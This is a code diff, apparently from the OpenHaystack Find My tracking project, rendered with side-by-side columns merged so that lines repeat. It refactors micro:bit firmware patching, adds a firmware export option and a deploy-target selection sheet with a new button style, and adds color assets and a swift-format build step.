// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import Foundation
import Combine import Combine
import CryptoKit import CryptoKit
import Foundation
struct FindMyDevice: Codable { struct FindMyDevice: Codable {
let deviceId: String let deviceId: String
var keys = [FindMyKey]() var keys = [FindMyKey]()
} }
struct FindMyKey: Codable { struct FindMyKey: Codable {
/// The advertising key /// The advertising key
let advertisedKey: Data let advertisedKey: Data
/// Hashed advertisement key using SHA256 /// Hashed advertisement key using SHA256
let hashedKey: Data let hashedKey: Data
/// The private key from which the advertisement keys can be derived /// The private key from which the advertisement keys can be derived
let privateKey: Data let privateKey: Data
/// When this key was used to send out BLE advertisements /// When this key was used to send out BLE advertisements
let startTime: Date? let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements /// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double? let duration: Double?
// swiftlint:disable identifier_name // swiftlint:disable identifier_name
/// ? /// ?
let pu: Data? let pu: Data?
/// As exported from Big Sur /// As exported from Big Sur
let yCoordinate: Data? let yCoordinate: Data?
/// As exported from BigSur /// As exported from BigSur
let fullKey: Data? let fullKey: Data?
} }
enum FindMyError: Error { enum FindMyError: Error {
case noFoldersFound case noFoldersFound
case parsingFailed case parsingFailed
} }

View File

@@ -7,40 +7,41 @@
// SPDX-License-Identifier: AGPL-3.0-only // SPDX-License-Identifier: AGPL-3.0-only
// //
import Foundation
import AppKit import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate { class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel() static let shared = SavePanel()
var fileToSave: Data? var fileToSave: Data?
var fileExtension: String? var fileExtension: String?
var panel: NSSavePanel? var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) { func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file self.fileToSave = file
self.fileExtension = fileExtension self.fileExtension = fileExtension
self.panel = NSSavePanel() self.panel = NSSavePanel()
self.panel?.delegate = self self.panel?.delegate = self
self.panel?.title = "Export Find My Keys" self.panel?.title = "Export Find My Keys"
self.panel?.prompt = "Export" self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Offline Keys Plist" self.panel?.nameFieldLabel = "Offline Keys Plist"
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist" self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
self.panel?.allowedFileTypes = ["plist"] self.panel?.allowedFileTypes = ["plist"]
self.panel?.begin(completionHandler: { (response) in self.panel?.begin(completionHandler: { (response) in
if response == .OK { if response == .OK {
// Save the file in a cache directory // Save the file in a cache directory
let fileURL = self.panel?.url let fileURL = self.panel?.url
try? self.fileToSave?.write(to: fileURL!) try? self.fileToSave?.write(to: fileURL!)
} }
}) })
} }
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? { func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
return filename {
} return filename
}
} }

View File

@@ -51,6 +51,7 @@
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; }; 78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; }; 78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; }; 78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */; };
F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; }; F126102F2600D1D80066A859 /* Slider+LogScale.swift in Sources */ = {isa = PBXBuildFile; fileRef = F126102E2600D1D80066A859 /* Slider+LogScale.swift */; };
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; }; F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */; };
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; }; F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */ = {isa = PBXBuildFile; fileRef = F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */; };
@@ -155,6 +156,7 @@
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; }; 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; }; 78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; }; 78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LargeButtonStyle.swift; sourceTree = "<group>"; };
F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; }; F126102E2600D1D80066A859 /* Slider+LogScale.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Slider+LogScale.swift"; sourceTree = "<group>"; };
F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; }; F12D5A5925FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BluetoothAccessoryScanner.swift; sourceTree = "<group>"; };
F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; }; F12D5A5F25FA79FA00CBBA09 /* Advertisement.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Advertisement.swift; sourceTree = "<group>"; };
@@ -360,6 +362,7 @@
78EC227025DBC8BB0042B775 /* Views */ = { 78EC227025DBC8BB0042B775 /* Views */ = {
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
78F8BB4A261C50D500D9F37F /* Styles */,
78286D7625E5114600F65511 /* ActivityIndicator.swift */, 78286D7625E5114600F65511 /* ActivityIndicator.swift */,
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */, 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */,
78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */, 78486BEE25DD711E0007ED87 /* PopUpAlertView.swift */,
@@ -374,6 +377,14 @@
path = Views; path = Views;
sourceTree = "<group>"; sourceTree = "<group>";
}; };
78F8BB4A261C50D500D9F37F /* Styles */ = {
isa = PBXGroup;
children = (
78F8BB4B261C50EB00D9F37F /* LargeButtonStyle.swift */,
);
path = Styles;
sourceTree = "<group>";
};
F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = { F12D5A5E25FA79D600CBBA09 /* Bluetooth */ = {
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
@@ -541,7 +552,7 @@
); );
runOnlyForDeploymentPostprocessing = 0; runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh; shellPath = /bin/sh;
shellScript = "if command -v swift-format >/dev/null; then\n swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n"; shellScript = "if command -v swift-format >/dev/null; then\n swift-format format -i -r \"$SRCROOT\"; swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
}; };
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = { F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
isa = PBXShellScriptBuildPhase; isa = PBXShellScriptBuildPhase;
@@ -615,6 +626,7 @@
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */, F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */, 781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */, 781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */, 781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */, 781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */, F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.866"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "0.758",
"white" : "0.310"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.657"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "0.758",
"white" : "0.237"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -157,6 +157,7 @@ class AccessoryController: ObservableObject {
//MARK: Location reports //MARK: Location reports
/// Download the location reports from. /// Download the location reports from.
///
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed /// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) { func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
AnisetteDataManager.shared.requestAnisetteData { result in AnisetteDataManager.shared.requestAnisetteData { result in

View File

@@ -74,10 +74,8 @@ struct MicrobitController {
return patchedFirmware return patchedFirmware
} }
static func deploy(accessory: Accessory) throws { static func patchFirmware(for accessory: Accessory) throws -> Data {
let microbits = try MicrobitController.findMicrobits() guard let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
guard let microBitURL = microbits.first,
let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
else { else {
throw FirmwareFlashError.notFound throw FirmwareFlashError.notFound
} }
@@ -87,6 +85,18 @@ struct MicrobitController {
let publicKey = try accessory.getAdvertisementKey() let publicKey = try accessory.getAdvertisementKey()
let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey) let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
return patchedFirmware
}
static func deploy(accessory: Accessory) throws {
let microbits = try MicrobitController.findMicrobits()
guard let microBitURL = microbits.first
else {
throw FirmwareFlashError.notFound
}
let patchedFirmware = try self.patchFirmware(for: accessory)
try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware) try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
} }

View File

@@ -8,6 +8,7 @@
// //
import SwiftUI import SwiftUI
import os
struct ManageAccessoriesView: View { struct ManageAccessoriesView: View {
@@ -21,6 +22,7 @@ struct ManageAccessoriesView: View {
@Binding var focusedAccessory: Accessory? @Binding var focusedAccessory: Accessory?
@Binding var accessoryToDeploy: Accessory? @Binding var accessoryToDeploy: Accessory?
@Binding var showESP32DeploySheet: Bool @Binding var showESP32DeploySheet: Bool
@State var sheetShown: SheetType?
@State var showMailPopup = false @State var showMailPopup = false
@@ -42,11 +44,14 @@ struct ManageAccessoriesView: View {
.toolbar(content: { .toolbar(content: {
self.toolbarView self.toolbarView
}) })
.sheet( .sheet(item: self.$sheetShown) { sheetType in
isPresented: self.$showESP32DeploySheet, switch sheetType {
content: { case .esp32Install:
ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType) ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
}) case .deployFirmware:
self.selectTargetView
}
}
} }
/// Accessory List view. /// Accessory List view.
@@ -103,6 +108,57 @@ struct ManageAccessoriesView: View {
} }
} }
var selectTargetView: some View {
VStack {
Text("Select target")
.font(.title)
Text("Please select to which device you want to deply")
.padding(.bottom, 4)
VStack {
Button(
"Micro:bit",
action: {
self.sheetShown = nil
if let accessory = self.accessoryToDeploy {
self.deployAccessoryToMicrobit(accessory: accessory)
}
}
)
.buttonStyle(LargeButtonStyle())
Button(
"Export Microbit firmware",
action: {
self.sheetShown = nil
if let accessory = self.accessoryToDeploy {
self.exportMicrobitFirmware(for: accessory)
}
}
)
.buttonStyle(LargeButtonStyle())
Button(
"ESP32",
action: {
self.sheetShown = .esp32Install
}
)
.buttonStyle(LargeButtonStyle())
Button(
"Cancel",
action: {
self.sheetShown = nil
}
)
.buttonStyle(LargeButtonStyle(destructive: true))
}
}
.padding()
}
/// Delete an accessory from the list of accessories. /// Delete an accessory from the list of accessories.
func delete(accessory: Accessory) { func delete(accessory: Accessory) {
do { do {
@@ -114,7 +170,7 @@ struct ManageAccessoriesView: View {
func deploy(accessory: Accessory) { func deploy(accessory: Accessory) {
self.accessoryToDeploy = accessory self.accessoryToDeploy = accessory
self.alertType = .selectDepoyTarget self.sheetShown = .deployFirmware
} }
/// Add an accessory with the provided details. /// Add an accessory with the provided details.
@@ -149,6 +205,58 @@ struct ManageAccessoriesView: View {
} }
} }
/// Deploy the public key of the accessory to a BBC microbit.
func deployAccessoryToMicrobit(accessory: Accessory) {
do {
try MicrobitController.deploy(accessory: accessory)
} catch {
os_log("Error occurred %@", String(describing: error))
self.alertType = .deployFailed
return
}
self.alertType = .deployedSuccessfully
accessory.isDeployed = true
self.accessoryToDeploy = nil
}
func exportMicrobitFirmware(for accessory: Accessory) {
do {
let firmware = try MicrobitController.patchFirmware(for: accessory)
let savePanel = NSSavePanel()
savePanel.allowedFileTypes = ["bin"]
savePanel.canCreateDirectories = true
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
savePanel.message = "Export the micro:bit firmware"
savePanel.nameFieldLabel = "Firmware name"
savePanel.nameFieldStringValue = "openhaystack_firmware.bin"
savePanel.prompt = "Export"
savePanel.title = "Export firmware"
let result = savePanel.runModal()
if result == .OK,
let url = savePanel.url
{
// Store the accessory file
try firmware.write(to: url)
}
} catch {
os_log("Error occurred %@", String(describing: error))
self.alertType = .exportFailed
return
}
}
enum SheetType: Int, Identifiable {
var id: Int {
return self.rawValue
}
case esp32Install
case deployFirmware
}
} }
struct ManageAccessoriesView_Previews: PreviewProvider { struct ManageAccessoriesView_Previews: PreviewProvider {

View File

@@ -221,26 +221,6 @@ struct OpenHaystackMainView: View {
.frame(width: 250, height: 120) .frame(width: 250, height: 120)
} }
func deploy(accessory: Accessory) {
self.accessoryToDeploy = accessory
self.alertType = .selectDepoyTarget
}
/// Deploy the public key of the accessory to a BBC microbit.
func deployAccessoryToMicrobit(accessory: Accessory) {
do {
try MicrobitController.deploy(accessory: accessory)
} catch {
os_log("Error occurred %@", String(describing: error))
self.alertType = .deployFailed
return
}
self.alertType = .deployedSuccessfully
accessory.isDeployed = true
self.accessoryToDeploy = nil
}
/// Ask to install and activate the mail plugin. /// Ask to install and activate the mail plugin.
func installMailPlugin() { func installMailPlugin() {
let pluginManager = MailPluginManager() let pluginManager = MailPluginManager()
@@ -373,20 +353,6 @@ struct OpenHaystackMainView: View {
action: { action: {
self.downloadPlugin() self.downloadPlugin()
}), secondaryButton: .cancel()) }), secondaryButton: .cancel())
case .selectDepoyTarget:
let microbitButton = Alert.Button.default(Text("Microbit"), action: { self.deployAccessoryToMicrobit(accessory: self.accessoryToDeploy!) })
let esp32Button = Alert.Button.default(
Text("ESP32"),
action: {
self.showESP32DeploySheet = true
})
return Alert(
title: Text("Select target"),
message: Text("Please select to which device you want to deploy"),
primaryButton: microbitButton,
secondaryButton: esp32Button)
case .downloadingReportsFailed: case .downloadingReportsFailed:
return Alert( return Alert(
title: Text("Downloading locations failed"), title: Text("Downloading locations failed"),
@@ -419,7 +385,6 @@ struct OpenHaystackMainView: View {
case downloadingReportsFailed case downloadingReportsFailed
case activatePlugin case activatePlugin
case pluginInstallFailed case pluginInstallFailed
case selectDepoyTarget
case exportFailed case exportFailed
case importFailed case importFailed
} }

View File

@@ -0,0 +1,33 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import SwiftUI
struct LargeButtonStyle: ButtonStyle {
var active: Bool = false
var destructive: Bool = false
func makeBody(configuration: Configuration) -> some View {
ZStack {
if configuration.isPressed {
RoundedRectangle(cornerRadius: 5.0)
.fill(Color.accentColor)
} else {
RoundedRectangle(cornerRadius: 5.0)
.fill(self.active ? Color.accentColor : self.destructive ? Color.red : Color("Button"))
}
configuration.label
.font(Font.headline)
.padding(6)
}
}
}